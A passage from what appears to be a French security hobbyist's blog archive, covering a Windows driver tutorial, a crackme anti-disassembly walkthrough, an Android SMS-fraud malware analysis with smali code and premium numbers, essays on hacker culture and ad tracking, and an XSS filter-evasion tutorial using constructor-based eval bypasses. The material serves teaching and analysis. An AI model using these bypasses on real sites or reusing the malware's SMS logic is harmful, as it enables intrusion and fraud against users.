, et on enregistre notre ReadFunction comme ci-dessus.

Le code au complet nous donne finalement ceci:

#include <ntddk.h>

PDEVICE_OBJECT mydevice;

NTSTATUS
STDCALL
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,
               IN PIRP Irp)
{
    return STATUS_SUCCESS;
}

NTSTATUS
STDCALL
ReadFunction(IN PDEVICE_OBJECT DeviceObject,
                      IN PIRP Irp)
{
  PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
  DbgPrint("Read Function called");
  DbgPrint("Asking reading %d bytes", IrpSp->Parameters.Read.Length);
  if(Irp->AssociatedIrp.SystemBuffer != 0)
  {
      DbgPrint("Sending \"Salut les t4pz !\" to reader");
      char *data = "Salut les t4pz !";
      int mini = min(IrpSp->Parameters.Read.Length, 17); // 17 = strlen(data)
      memcpy(Irp->AssociatedIrp.SystemBuffer, data, mini);
      Irp->IoStatus.Status = STATUS_SUCCESS;
      Irp->IoStatus.Information = mini;
  }
  else {
    //on rattrape l'erreur pour pas se prendre un BSOD dans la face
    DbgPrint("OMGWTFBBQ is that shit ?");
  }
  return STATUS_SUCCESS;
}

NTSTATUS
STDCALL
WriteFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("Write Function called");
  if(Irp->AssociatedIrp.SystemBuffer != 0) {
    DbgPrint("Got data from SystemBuffer: %s ", Irp->AssociatedIrp.SystemBuffer);
  }
  else {
    //on rattrape l'erreur pour pas se prendre un BSOD dans la face
    DbgPrint("OMGWTFBBQ is that shit ?");
  }
  return STATUS_SUCCESS;
}

VOID
STDCALL
DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    DbgPrint("DriverUnload() !\n");
    IoDeleteDevice(mydevice); // destruction du device sinon on est bon pour rebooter
    return;
}

NTSTATUS
STDCALL
DriverEntry(IN PDRIVER_OBJECT DriverObject,
            IN PUNICODE_STRING RegistryPath)
{
    NTSTATUS ntStatus;
    const WCHAR *driverName = L"\\Device\\T4pZ";
    const WCHAR *symlinkName = L"\\DosDevices\\T4pZ";

    UNICODE_STRING unicodeDriverName;
    UNICODE_STRING unicodeSymlink;

    DbgPrint("DriverEntry() !\n");

    DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatch; //on fait rien à l'ouverture et à la fermeture du "fichier"
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch;
    DriverObject->MajorFunction[IRP_MJ_READ] = ReadFunction;
    DriverObject->MajorFunction[IRP_MJ_WRITE] = WriteFunction;
    DriverObject->DriverUnload = DriverUnload;

    RtlInitUnicodeString(&unicodeDriverName, driverName);
    RtlInitUnicodeString(&unicodeSymlink, symlinkName);

    ntStatus = IoCreateDevice (
        DriverObject,
        0,
        &unicodeDriverName,
        FILE_DEVICE_UNKNOWN,
        0,
        TRUE,
        &mydevice);
    mydevice->Flags |= DO_BUFFERED_IO;

    if(NT_SUCCESS(ntStatus))
    {
        IoCreateSymbolicLink(&unicodeSymlink, &unicodeDriverName);
    }
    return STATUS_SUCCESS;
}

The userland code

Maintenant, compilez et lancez le driver, puis créez un exécutable classique contenant ce code:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main()
{
    HANDLE hDevice = CreateFile("\\\\.\\T4pZ",GENERIC_WRITE|
        GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    DWORD written, read;
    char buffer[255];
    WriteFile (hDevice, "THE GAME", 9, &written, NULL);
    ReadFile (hDevice, buffer, 255, &read, NULL);
    printf ("Got \"%s\" from the kernel - %d bytes read\n", buffer, read);
    printf("hDevice handle: %x", hDevice);
    return 0;
}

puis lancez l'exécutable.

Vous devriez voir apparaître "Got data from SystemBuffer: THE GAME" dans DebugView, puis "Salut les tapz !" dans la console du programme lancé.

Voilà pour cette introduction à la programmation système sous Windows :þ

Les "hackers" mainstream : réflexion autour de la naissance des "lamerz"

2012-07-10T15:55:00+02:00

Je sais déjà que le titre de cet article fera frémir certains, rire d'autres, ou choquera certains puristes. Certains se demanderont quelle quantité de chocapicz et autres stupéfiants j'ai pu absorber lors de l'écriture de cet article, et rassurez-vous, je suis parfaitement lucide pour écrire cet article.

Cet article a pour but (du moins je l'espère) de démystifier la scène "lamerz", et d'appréhender comment ceux-ci ont bien pu arriver là.

"hacker mainstream": Dafuck is this shit ?

Ce concept peut paraître paradoxal (et il l'est). En effet, le mouvement hacker (s'il y en a réellement un) serait basé sur l'innovation, la découverte de techniques élégantes et originales pour résoudre un problème donné. Les hackers sont souvent associés à la culture "underground", culture elle aussi basée sur les nouvelles expériences et le rejet de la société telle qu'elle est actuellement.

Le "mainstream" quand à lui, rassemble toute la "culture" diffusée par les médias de masse (c'est-à-dire l'"internet civilisé" contrôlé par des multinationales telles que Facebook ou Google, la télévision, le cinéma grand public), qui est à des kilomètres du côté marginal et expérimental de la "culture hacker". Pourquoi donc associer les deux me direz-vous ?

Tout simplement parce que ces médias de masse génèrent une image particulière du hacker dans l'imaginaire populaire, très souvent à des kilomètres de la réalité. Les médias n'hésitent pas à nous présenter des petits singes prépubères jouant avec des logiciels prévus pour s'introduire dans les systèmes (communéments nommés R.A.Ts pour "Remote Administration Tool") comme de "petits génies de l'informatique". Ces médias ont aussi tendance aussi à amplifier les "exploits" des hackers dans les films et séries grand public comme NCIS, qui montrent des "super-hackers" capables de contourner les protections de la CIA en 30 minutes pour récupérer un dossier pour leur enquête ; ou encore grâce aux reportages alarmistes sur les vols de numéros de cartes bancaires (réalisés par les gentils africains au Zimbabwe en quête d'argent, évidemment).

Toute cette propagande contribue à ternir l'image des hackers aux yeux du grand public, les percevant comme d'horribles monstres voleurs de cartes bleues, capables de s'introduire partout là où bon leur semble.

Et les "lamers" dans tout ça ?

Parmi cette population manipulée vivent des enfants et préadolescents qui sont fascinés par ces prétendus exploits pour des raisons diverses (de la soif de pouvoir à la vengence ou la curiosité malsaine), voulant "devenir hacker" pour être capables de voir le Facebook/MSN/whatever de leur copain(e)s/ennemis/chien(s), récupérer leur mot de passe pour faire des "blagues", ou encore se venger d'un autre lamer qui lui a volé son compte d'un quelconque jeu en ligne (habbo ou dofus au hasard).

Ces lamers ont la fâcheuse tendance de créer d'innombrables "communautés" de hack, où ils s'échangent différents R.A.Ts (voir définition plus haut), stealers (logiciels conçus pour voler les mots de passe stockés sur un ordinateur), botnets ou encore logiciels permettant de réaliser des DDoS tels que "LOIC" (attaque popularisée par les "Anonymous" soit dit en passant). Ces forums se font connaître grâce aux forums de jeux où sont présents les lamers, ou encore sur d'autres forums de "hack" ; se faire connaître sur ces forums de "hack" menaçant par le fait l'existence du forum, étant donné qu'une "communauté" n'apprécie pas qu'une autre communauté vienne "puber" sur la sienne.

On observe ainsi différentes communautés naissant puis disparaissant dans une guerre perpétuelle entre "communautés", dans un florilège de pages de deface et autres joyeux DDoS. Là-dessus, certains membres plus expérimentés, souvent des cybercriminels et considérés comme des demi-dieux par les lamerz, initient ces derniers à l'art du phishing, de la revente de comptes, voire du carding. Ces "communautés" sont donc des générateurs de cybercriminels, venant ainsi alimenter les reportages des mass-media et renforcer l'imaginaire populaire du "grand méchant hacker". On peut ainsi observer comment les "mass media" ont réussi à engendrer un phénomène qui au final leur rapporte beaucoup (ce genre de reportages ont un succès particulier chez Mme Michu en mal de sensations fortes), ainsi qu'aux cybercriminels et concepteurs de malwares qui peuvent ainsi revendre leurs créations sur cette scène "hacker mainstream".

Nouveau thème

2012-04-08T12:29:00+02:00

Après une longue période d'hibernation de ma part sur mon blog (étant principalement plus actif à glander sur IRC en ce moment), je me suis décidé à changer le thème de mon blog, qui comme vous pouvez le constater, est assez minimaliste.

En effet, je pense qu'il est bon de revenir à des interfaces simples, et facilement lisibles plûtot qu'un thème encombré, avec plein d'images partout et qui mets beaucoup de temps à charger pour les petites connexions (par exemple wifi public ou encore connexion G), étant donné que l'essentiel d'un blog et surtout son contenu, et non son contenant.

De plus, le côté "old school" du temps du web 1.0 (ou moins encore) me plaît en ce moment, et ça change sûrement des designs technofuturistes qui certes, sont agréables à l'oeil, mais rendent vite la lecture des articles pénibles

Enfin je suis actuellement en train de travailler sur l'implémentation d'une backdoor grâce à un plugin pour gnome-shell, afin d'explorer les potentielles faiblesses de sécurité de cette technologie assez nouvelle, et de voir jusqu'à quel point un plugin malvillant pourrait compromettre un système.

Bien entendu, je rédigerai un paper comme il se doit, que je compte publier pour le prochain hzv zine. A propos des webzines, le premier numéeo du webzine de N-PN dont je m'occupe devrait pas tarder à sortir, et contiendra beaucoup d'articles intéressants concernant le reverse-engineering (dont une version revue, corrigée et complétée de mon précédent billet :þ). Ce webzine sera publié en HTML5, dans un unique fichier (grâce à l'attribut "data" qui est assez pratique.)

Bref, à bientôt pour de nouvelles aventures, et je vous laisse avec cette musique, assez "épique".

Contourner les protections anti-désassembleurs

2011-12-04T08:56:00+01:00

Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur d'un binaire.

Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.

Prérequis:

Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.

Premier contact avec le crackme

Tout d'abord, vous pouvez télécharger le crackme à cette adresse: http://repos.aassfxxx.infos.sr/misc/crackme/demo . Une fois ceci fait, nous allons prendre notre désassembleur favori (IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on essaie de l'exécuter, le crackme nous accueille avec un gentil message "Essaie encore :þ", ce qui montre que le crackme fonctionne. Un "file" sur le crackme nous indique qu'il est stripped, c'est-à-dire que tous les symboles de débuggage ont été retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start (le "vrai" point d'entrée du programme, et non main, appelé par _start).

On désassemble donc notre programme, comme on ferait pour n'importe quel autre crackme. Il va donc falloir retrouver notre "main", étant donné que le désassembleur n'a pas pu le localiser. On s'aperçoit qu'il y a un push offset sub_8048495 avant un call __libc_start_main, ce qui nous indique que notre main est à l'adresse 0x08048495. Lorsqu'on désassemble ce main, on s'aperçoit qu'il y a plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA, une suite de dwords incompréhensibles lorsqu'on est en "Text View"). Nous allons donc voir ici comment pallier ce problème.

Analyse statique du binaire

On va ici se servir du désassembleur pour comprendre comment le processeur arrive à exécuter cette bouillie d'instructions sans broncher. Tout d'abord, on commence par trouver le "main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a déjà des protections contre le désassemblage (et une analyse dynamique conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme. On va donc analyser les premières instructions du programme:

push    ebp
mov     ebp, esp
mov     eax, offset dword_80484A4
mov     edx, 2
jmp     short loc_8048516

On aperçoit ici le prologue habituel ("push ebp" et "mov ebp,esp"), l'initialisation de deux registres puis un saut vers 0x8048516. Regardons donc cette fonction:

add     eax, edx
xor     edx, edx
mov     edx, eax
sub     edx, offset dword_80484A4
add     eax, edx
jmp     eax

La première chose qui nous frappe, c'est ce "jmp eax" : on sait que notre programme va aller sauter à la valeur contenue dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble curieusement à une adresse de fonction et qu'on retrouve dans notre désassemblage (là où le code est devenu incohérent).

Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, eax = 0x080484A4 + 2. Ensuite, on met eax dans edx, puis on retranche la valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax. On a donc 4 octets de décalage entre la fonction annoncée et la fonction "réelle" qui contient n'importe quoi, ce qui embrouille le désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à notre code (je supposerai ici que vous savez localiser et éditer des octets dans un binaire). Sous IDA, il suffira juste de se placer 4 octets après "0x080484A4" et de presser "C", ce qui demandera à IDA d'analyser le code.

Conclusion

Nous avons vu ici comment contourner une protection "basique", et le programme analysé est bien évidemment élémentaire. Cependant, ce genre de procédés est aussi couplé avec d'autres techniques telles que les anti-débuggeurs ou la compression du code, ce qui rend l'analyse plus difficile.

J'espère malgré tout que cet article vous aura ouvert de nouvelles possibilités, et qui sait, trouver une méthode pour résoudre un problème plus délicat.

That's all folks !

Reverse de malware Android

2011-10-26T14:36:00+02:00

Bonjour à tous!

Ayant analysé un malware Android (nommé operaandroidi14.apk) que j'ai téléchargé par hasard sur le Net, j'ai donc décidé d'expliquer comment reverser un malware android à partir d'un exemple concret.
Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.

Structure d'un fichier APK, et tools nécessaires

Une application Android est fichier .apk, qui, techniquement n'est qu'une archive .zip renomée. Cette archive contient quelques fichiers et dossiers qui nous intéresseront:

Le dossier res: Contient toutes les ressources (données) dont se sert l'application
Le fichier classes.dex: C'est le fichier qui contient tout le code compilé de l'application Android.

L'étude de notre malware va donc se focaliser sur ce fameux "classes.dex" ainsi que sur les ressources. Ce fichier contient du bytecode, qu'il va nous falloir désassembler à l'aide de baksmali (il vous faudra bien évidemment installer la JVM). On désassemblera le tout à l'aide de la commande, une fois avoir extrait l'archive APK:

java -jar baksmali-1.2.8.jar -s classes.dex

Cette commande nous génère un dossier "out", qui contient tout le code "smali" (une sorte d'assembleur pour le bytecode du JIT compiler d'Android) de notre application. Passons donc à l'analyse de cette application.

Reversing du malware

On va commencer par rechercher le point d'entrée de l'application (repérable grâce à la méthode onCreate). On va donc utiliser un coup de "grep", qui nous informe que le fichier incriminé est out/com/registr/registrator/RegistratorActivity.smali, et le code de la fonction est:

.method public onCreate(Landroid/os/Bundle;)V
    .registers 4
    .parameter "savedInstanceState"

    .prologue
    .line 20
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    .line 21
    const/high16 v0, 0x7f03

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->setContentView(I)V

    .line 23
    const/high16 v0, 0x7f06

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v0

    check-cast v0, Landroid/widget/TextView;

    const v1, 0x7f040002

    invoke-direct {p0, v1}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v1

    invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 25
    const v0, 0x7f060001

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v0

    new-instance v1, Lcom/registr/registrator/RegistratorActivity$1;

    invoke-direct {v1, p0}, Lcom/registr/registrator/RegistratorActivity$1;-><init>(Lcom/registr/registrator/RegistratorActivity;)V

    invoke-virtual {v0, v1}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    .line 33
    return-void
.end method

Ce code initialise l'interface utilisateur de l'application, puis pose un ClickListener sur le bouton. On va donc regarder de plus près le listener, contenu dans out/com/registr/registrator/RegistratorActivity$1.smali. On peut aussi remarquer dans le code de RegistratorActivity.smali des méthodes nommées "sendAction" et "sendSMS", ce qui nous permet de deviner que l'application enverra des SMS à un moment ou un autre.

Examinons de plus près le code de RegistratorActivity$1.smali.

.method public onClick(Landroid/view/View;)V
    .registers 3
    .parameter "v"

    .prologue
    .line 30
    iget-object v0, p0, Lcom/registr/registrator/RegistratorActivity$1;->this$0:Lcom/registr/registrator/RegistratorActivity;

    invoke-static {v0}, Lcom/registr/registrator/RegistratorActivity;->access$000(Lcom/registr/registrator/RegistratorActivity;)V

    .line 31
    return-void
.end method

Cette méthode appelle RegistratorActivity.access$000, qui a pour vocation d'appeler RegistratorActivity.sendAction, une des fonctions bizarres repérées à l'instant. Regardons donc de plus près cette fonction.

.method private sendAction()V
    .registers 10

    .prologue
    .line 37
    const v7, 0x7f040001  #load "sms" resource

    invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v6

    .line 39
    .local v6, xml:Ljava/lang/String;
    const-string v7, "item"

    invoke-static {v6, v7}, Lcom/registr/registrator/XMLParser;->getList(Ljava/lang/String;Ljava/lang/String;)Ljava/util/Vector;

    move-result-object v0

    .line 42
    .local v0, EItemsXML:Ljava/util/Vector;,"Ljava/util/Vector<Ljava/lang/String;>;"
    const/4 v1, 0x0

    .local v1, i:I
  :goto_0
    invoke-virtual {v0}, Ljava/util/Vector;->size()I

    move-result v7

    # ici, on parcourt tous les éléments de la liste   
    if-ge v1, v7, :cond_0

    .line 44
    invoke-virtual {v0, v1}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;

    move-result-object v4

    check-cast v4, Ljava/lang/String;

    .line 45
    .local v4, tmp:Ljava/lang/String;
    const-string v7, "number"

    invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v2

    .line 46
    .local v2, number:Ljava/lang/String;
    const-string v7, "prefix"

    invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v3

    .line 48
    .local v3, prefix:Ljava/lang/String;
    invoke-direct {p0, v2, v3}, Lcom/registr/registrator/RegistratorActivity;->sendSMS(Ljava/lang/String;Ljava/lang/String;)V

    .line 42
    add-int/lit8 v1, v1, 0x1

    goto :goto_0

    .line 52
    .end local v2           #number:Ljava/lang/String;
    .end local v3           #prefix:Ljava/lang/String;
    .end local v4           #tmp:Ljava/lang/String;
    :cond_0
    const v7, 0x7f060001

    invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v7

    const/4 v8, 0x4

    invoke-virtual {v7, v8}, Landroid/view/View;->setVisibility(I)V

    .line 53
    const/high16 v7, 0x7f06

    invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    .line 54
    .local v5, tv:Landroid/widget/TextView;
    const/high16 v7, 0x7f04

    invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 55
    const/4 v7, 0x1

    invoke-static {v5, v7}, Landroid/text/util/Linkify;->addLinks(Landroid/widget/TextView;I)Z

    .line 56
    return-void
.end method

On voit clairement ici que le malware va récupérer la ressource id 0x7f040001, et parser le XML contenu à l'intérieur. Or, un coup de grep nous dit que la ressource 0x7f04001 appartient au fichier "sms.txt". Le malware va enfin passer en revue tous les numéros contenus dans la ressource, et envoyer un SMS à ces numéros, avant d'afficher le lien de téléchargement de l'APK.

Notre malware, lors du clic sur le bouton, va donc envoyer un SMS aux numéros contenus dans la ressource à l'insu de l'utilisateur, avant d'afficher le lien de téléchargement du "vrai" navigateur. 4 fun, je vous paste le contenu de sms.txt.

<item number="7495" prefix="amdetoi142f"/>
<item number="7495" prefix="amdetoi142s"/>
<item number="4446" prefix="amdetoi142"/>

Recherche d'informations

Le lien est stocké dans la ressource 0x7f040000, i.e link.txt, qui contient ce lien: hxxp://mini-opera-6.in/files/Opera_Mini_6_1_Android.apk. Un whois sur le domaine nous montre que ce domaine est enregistré au nom de Mikhail Denin, avec pour e-mail de contact whoismail2010@gmail.com. L'adresse IP du serveur est 188.95.54.32, qui possède 5 domaines: browserdupdate.biz, browsergupdate.com, browserfupdate.biz, browserxlupdate.com, opera-mini-6.net, pointant tous vers la même page. On peut donc conclure qu'il s'agit proablement d'une opération d'escroquerie destinée au public russe (les "conditions d'utilition" mentionnent une société nommée "Opera Soft" qui n'a aucune existence ...).

Mot de la fin: On peut voir que lorsqu'on tente d'installer l'application, celle-ci demande l'autorisation d'envoyer des SMS. Une question se pose alors: pourquoi un navigateur web (ou une appli devant l'installer) aurait besoin d'envoyer un SMS? Il faut donc TOUJOURS vérifier les autorisations des applications.

That's all folks ! :þ

La redondance de l'information

2011-10-01T17:58:00+02:00

J'écris ce billet pour déjà donner signe de vie (pas vraiment eu le temps de rédiger quoi que ce soit avec ma rentrée en MPSI) et surtout, pour parler d'un problème qui est vite agaçant lors d'une recherche: l'absence de redondance de l'information.
Ne vous est-il jamais arrivé de faire une recherche sur Internet, de suivre un lien sur un forum qui menait sur un site qui a entre temps fermé et qui était le seul à proposer une solution convenable ?

C'est là qu'intervient la redondance de l'information. Si une information reste cantonnée sur un unique site, et que le site disparaît, c'est l'information elle-même qui disparaît aussi. Or cette information pouvait être utile pour certains utilisateurs (notamment comment synchroniser ou mettre à jour certains appareils sous Linux). C'est pourquoi placer un texte sous licence restrictive en empêchant la reproduction est une preuve de débilité profonde: en effet, si le site vient à disparaître, les données seront elles aussi perdues. Bien sûr je n'encourage pas le plagiat, mais laisser les utilisateurs republier un article en citant l'auteur originel paraît être une chose nécessaire par respect envers les internautes, qui peuvent avoir besoin d'une information particulière et qui n'ont rien à faire de l'ego surdimensionnée de l'auteur.

Sur Twitter il existe la possibilité de "retweeter" un message, ce qui correspond au fait de publier un tweet d'un autre utilisateur dans ses tweets (en citant l'auteur d'origine). De même, le code source et les binaires de certains programmes ou certaines distributions sont dupliqués sur des dizaines de serveurs. Pourquoi donc ne pas avoir un principe similaire pour les blogs/sites internet dont les informations contenues peuvent être utiles ?

En vrac

2011-08-11T12:12:00+02:00

Pour ce premier billet du mois d'août, je ne me suis pas cassé la tête (han pas bien!), et malgré mon manque d'inspiration pour publier un billet correct, je publie quand-même un billet avec des idées (et des musiques) en vrac.
A noter que je ne suis pas disponible pendant une grande partie du mois d'août, ce billet risque d'être le seul du mois.

Comme vous avez pu le constater, mon blog s'est doté d'un nouveau thème. Ce thème en plus d'être plus joli à mon goût, corrige certains bugs d'affichage présents avec l'ancienne version.
Real ASM, une communauté de développeurs en assembleur que j'essaie de créer vient de faire peau neuve, avec un nouveau design et un nouveau CMS (passage de Drupal à GetSimple, beaucoup moins usine à gaz)
J'en profite aussi pour partager quelques musiques (en vrac, tout comme ce billet):

Ce billet est le résultat d'un manque cruel d'imagination.

On aime (pas) la publicité !

2011-07-30T18:39:00+02:00

Ce billet a évidemment pour sujet ... la publicité (normal vu que c'est le titre de ce billet). Force est de constater que la publicité devient de plus en plus omniprésente, quitte à devenir un modèle économique (et oui Facebook, Twitter et autres sites ou services "gratuits" que nous utilisons sont financés grâce à la publicité).
Nous avons donc demandé à Félix le chat d'enquêter sur ce phénomène, qui mériterait à lui seul des livres entiers.

Les buts de la publicité

Le tout premier but de la publicité est de faire connaître son produit ou ses services à son entourage. Pour cela, il existait différents moyens, tels que le bouche-à-oreille (les clients satisfaits qui font connaître les services ou les produits dont ils sont satisfaits), les affiches publicitaires, ou encore des prospectus dans sa boîte aux lettres ou dans les guides touristiques. Ces moyens permettaient aux entreprises de pouvoir vivre en attirant des consommateurs, et ainsi faire rentrer de l'argent.

Mais, d'autres moyens de communication ont fait leur apparition (radio, cinémas, Internet, télévision...) et la publicité s'y installait dès que ces moyens devenaient populaires. Cela permettait de drainer encore plus de clientèle, et donc de gagner encore plus d'argent. La publicité commençait donc à devenir la poule aux oeufs d'or pour les commerçants. Or cette forme de publicité est payante pour celui qui souhaite faire connaître son produit (et oui, ceux qui "contrôlent" les moyens de communications souhaitent se faire rénumérer pour un service qu'ils rendent), et est parfois très onéreuse, empêchant les plus petites entreprises de se faire connaître.

Ainsi la plupart des publicités sur les "médias passifs" (les médias sur lesquels nous n'avons aucune interactivité comme la télévision) sont pour des grandes marques qui ont déjà plein de clients. Quel est l'intérêt alors, si ces entreprises sont déjà des usines à clients ? Tout simplement, la publicité matraquée comme elle l'est actuellement permet de nous faire penser «Achète XXX, c'est bon pour ta santé!», «achète YYY, tu en as besoin pour être en contact avec tes amis!», et donc de fabriquer une armée de consommateurs dociles, prêts à acheter n'importe quoi dans un système qui a besoin de flux d'argents continus et d'une "croissance" effrénée. La publicité est donc un moyen de manipulation.

Les régies publicitaires sur Internet ou comment Big Brother vous surveille

Passons maintenant à un aspect plus technique de la publicité. Afin de vous faire acheter ce que vous êtes le plus susceptible d'envier, certaines grosses régies publicitaires (qui a dit Google ?) ont inventé la publicité ciblée, capable de savoir quels sites vous visitez, pour vous proposer le produit adapté.

Le fonctionnement de ce système est très simple: les webmasters souhaitant afficher de la pub placent un script javascript sur leur site, qui se chargera d'afficher la publicité ainsi que de faire d'autres actions.
Le webmaster va inclure un script ressemblant à ceci:

<script>
var site_id="U-666-1337M";
document.write("<scri" + "pt type=\"text/javascript\" src=\"http://regie-publiciaire.com/track.js\"/></scr" + "ipt>");
</script>

Le navigateur de celui qui visite va donc aller exécuter le code javascript téléchargé depuis la régie publiciaire. Ce code exécuté est bien souvent généré dynamiquement (via PHP,ASP...). Notre régie, pour pouvoir savoir ce que nous visitons, doit donc être capable de lire les cookies de la page que nous visitons grâce à Javascript et de les renvoyer au serveur, qui mettra à jour sa session avec le cookie nous identifiant (et inversement si nous avons jamais visité le site). Ce cookie contient un identifiant unique pour chaque utilisateur, permettant de l'identifier. Le script va ensuite renvoyer l'URL site que nous visitons à la régie, et donc de permettre l'affichage des publicités associées à ce site (déterminée grâce à une analyse de mots clés par exemple).

Comme vous l'aurez compris, cette technique est très dangereuse puisqu'il s'agit ni plus ni moins que ce Cross Site Scritping (XSS). Or rien ne permet de garantir que le script ne va pas chercher à enregistrer vos mots de passes saisis, grâce à une injection de code par un gouvernement (comme l'a fait la Tunisie) ou par un hacker mal intentionné qui aurait compromis le serveur de la régie.

Comment se débarasser de la Peste ?

Il existe heureusement plusieurs moyens de réduire l'impact de la publicité sur notre vie. Une arme efficace consiste à couper le son de la télévision lorsque la publicité apparaît (vous pouvez aussi changer de chaîne). Au cinéma, vous pouvez arriver en retard par rapport au début de séance (le temps de retard sera à ajuster en fonction de la popularité du film sous peine de rater le début !). Enfin sur Internet, je recommande vivement l'utilisation de NoScript, qui empêchera les scripts des régies publicitaires de s'exécuter, empêchant par le fait la XSS volontaire et le danger qu'elle apporte, même si cela rend la navigation un peu moins agréable (à devoir autoriser manuellement les sites "2.0" avec du JS/Flash à gogo).

Javascript: Evaluer du code sans eval()

2011-07-17T12:40:00+02:00

Des connaissances du langage Javascript peuvent être nécessaires pour la compréhension de cet article

Traditionnellement, on utilise la fonction eval() pour évaluer un morceau de code javascript. Or cette fonction est bien souvent bloquée par la plupart des filtres anti-XSS rudimentaires. Il existe cependant beaucoup de techniques permettant de passer au travers de ces filtres, et de parvenir malgré tout à exécuter le code de notre choix.
Nous allons donc survoler ici quelques méthodes permettant de contourner les filtres anti-XSS.

Créons une fonction !

En javascript, tout est objet mais aussi fonction. Ainsi, une fonction javascript est considérée comme un objet, et un objet est aussi considéré comme une fonction (compliqué tout ça, hein?). Tout cela pour dire que une fonction javascript est représentée par un objet "Function", dont le constructeur admet un argument: le code à exécuter. Le code Function("alert('Bonjour tous!')") va donc créer une fonction anonyme qui affichera "Bonjour tous!" une fois appelée. Ainsi, en l'appelant juste après sa création, nous pouvons exécuter n'importe quel code de notre choix.
Mais l'inconvénient de cette méthode est que notre code ressemble à du javascript, et il se peut que le code soit filtré. Nous allons donc voir comment contourner tout cela.

Obfusquons notre code !

Nous allons tout d'abord prendre le cas où le mot clé "function" est bloqué (sans souci de casse, c'est-à-dire que "Function" sera aussi bloqué). Il nous faut donc retrouver le constructeur perdu. Or, si vous vous souvenez de ce que j'ai dit avant, une fonction est un objet pour javascript. Or les objets possèdent une propriété "constructor" qui renvoie le constructeur qui a servi à les créer. Le constructeur d'une fonction est donc... "Function". On va donc prendre une fonction au hasard (tiens, window.open), et s'en servir pour exécuter notre code:

window.open.constructor("alert('Bonjour tous!')")()

Maintenant, compliquons un peu la chose. Supposons que le mot clé "constructor" ainsi que "window.open" soient bloqués (ou que vous vouliez rendre votre code particulièrement illisible). Avant de continuer, il vous faut vous rappeler que la notation objet.propriete équivaut à objet["propriete"]. Ensuite, il faut savoir que un nombre ou une chaîne de caractères sont aussi des objets et possèdent un constructeur. Or, ce constructeur est une fonction, qui possède aussi son constructeur ... Avec tous ces renseignements, vous devriez être en mesure de contourner le blocage simple de mots clés (indice: "constructor" == "con"+"str"+"uctor"). A vous de jouer!

Conclusion

Avec tout ceci, nous avons pu voir que le filtrage de mots-clés est totalement inutile, puisqu'un peu de créativité de la part du hacker permet de faire disparaître totalement toute trace des mots clés bloqués. Ainsi, il est fortement recommandé d'interdire aux utilisateurs d'entrer du code HTML, et de passer par des langages comme BBCode pour le formatage (attention cependant à ne pas le parser n'importe comment!).
Enfin, certaines personnes pensent qu'en mettant une interface WYSIWYG à la place du HTML sur leur site pour les utilisateurs est une protection efficace. Ceci est totalement faux: un simple script ou l'utilisation de Firebug permet de contourner aisément la protection. Prenez donc garde à ce que les utilisateurs peuvent entrer sur votre site !

Humour: Comment être populaire auprès des tapz

2011-07-05T19:17:00+02:00

Cet article est évidemment à prendre au second degré, même si certains conseils sont malheureusement applicables.

